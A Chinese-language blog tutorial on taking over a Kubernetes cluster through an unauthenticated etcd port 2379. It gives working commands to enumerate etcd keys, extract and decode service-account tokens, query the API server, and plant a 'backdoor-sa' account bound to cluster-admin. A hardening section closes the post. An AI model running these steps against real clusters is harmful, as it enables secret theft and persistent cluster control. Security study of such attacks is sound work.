手把手教你复现：从etcd 2379端口未授权到拿下整个K8s集群（附实操命令）-三亩地-编程学习日记

从etcd 2379端口未授权到K8s集群控制的深度攻防实战

在云原生架构中，Kubernetes集群的安全性往往取决于其最脆弱的组件。当etcd这个存储集群所有关键数据的组件暴露在公网时，攻击者可能通过一系列精心设计的操作完全控制整个集群。本文将深入剖析这一攻击链的每个环节，提供可操作的防御建议。

1. 理解etcd在Kubernetes架构中的核心地位

etcd作为Kubernetes的"大脑"，存储了包括节点状态、Pod定义、Secret、ConfigMap等在内的所有集群数据。其默认监听端口2379（客户端通信）和2380（节点间通信）一旦暴露，就相当于将集群的钥匙放在了门口。

关键风险点：

默认配置下，etcd数据以明文形式存储
ServiceAccount Token等高敏感信息可直接读取
缺乏认证时，所有操作无需任何凭证

实际案例：2021年某金融企业因etcd公网暴露导致数万信用卡信息泄露，根本原因就是2379端口未配置TLS认证。

2. 环境准备与基础探测

在授权测试环境中，我们需要准备以下工具：

# 基础工具安装 sudo apt-get install -y etcd-client kubectl curl jq

验证目标是否存在未授权访问：

curl -k https://<target-ip>:2379/version

预期响应应包含etcd版本信息，如：

{"etcdserver":"3.5.0","etcdcluster":"3.5.0"}

常见错误处理：

错误类型	原因分析	解决方案
连接超时	端口未开放或网络隔离	检查网络ACL/安全组规则
TLS握手失败	需要跳过证书验证	添加`--insecure`参数
权限拒绝	启用了客户端证书认证	需要提供有效证书

3. 通过etcdctl提取敏感数据

使用API v3接口查询所有key：

ETCDCTL_API=3 etcdctl \ --endpoints=https://<target-ip>:2379 \ --insecure-skip-tls-verify \ get / --prefix --keys-only | sort | uniq

关键数据路径示例：

/registry/secrets/：存储所有Secret
/registry/serviceaccounts/：ServiceAccount定义
/registry/pods/：运行中的Pod信息

提取高权限Token的完整流程：

定位kube-system命名空间下的admin token：

etcdctl get /registry/secrets/kube-system/dashboard-admin-token-xxxx

解码获取的base64数据：

echo "ZXlKaGJ..." | base64 -d

提取token字段（jq工具高效处理）：

curl -s https://<target-ip>:2379/v2/keys/... | jq -r '.node.value' | base64 -d | jq '.data.token'

4. 集群接管实战操作

验证Token有效性：

curl -k -H "Authorization: Bearer <token>" \ https://<cluster-ip>:6443/api/v1/namespaces

使用kubectl执行命令：

kubectl --insecure-skip-tls-verify \ --server=https://<cluster-ip>:6443 \ --token="<token>" \ get pods -A

高级利用技巧：

创建后门ServiceAccount：

apiVersion: v1 kind: ServiceAccount metadata: name: backdoor-sa namespace: kube-system

绑定cluster-admin角色：

kubectl create clusterrolebinding backdoor-binding \ --clusterrole=cluster-admin \ --serviceaccount=kube-system:backdoor-sa

5. 防御策略与加固建议

网络层防护：

严格限制2379端口的访问源IP
启用网络策略(NetworkPolicy)限制Pod间通信
使用专用网络接口运行etcd

认证与加密：

# etcd配置示例 peer-transport-security: cert-file: /path/to/peer.crt key-file: /path/to/peer.key client-transport-security: cert-auth: true auto-tls: true

持续监控方案：

部署Falco等运行时安全工具检测异常命令
配置审计日志记录所有etcd操作
定期轮换ServiceAccount Token

在最近一次红队演练中，我们发现即使启用了TLS认证，配置不当的证书有效期（如10年）也会大大降低防护效果。最佳实践是结合证书管理和RBAC，实现最小权限原则。

日记详情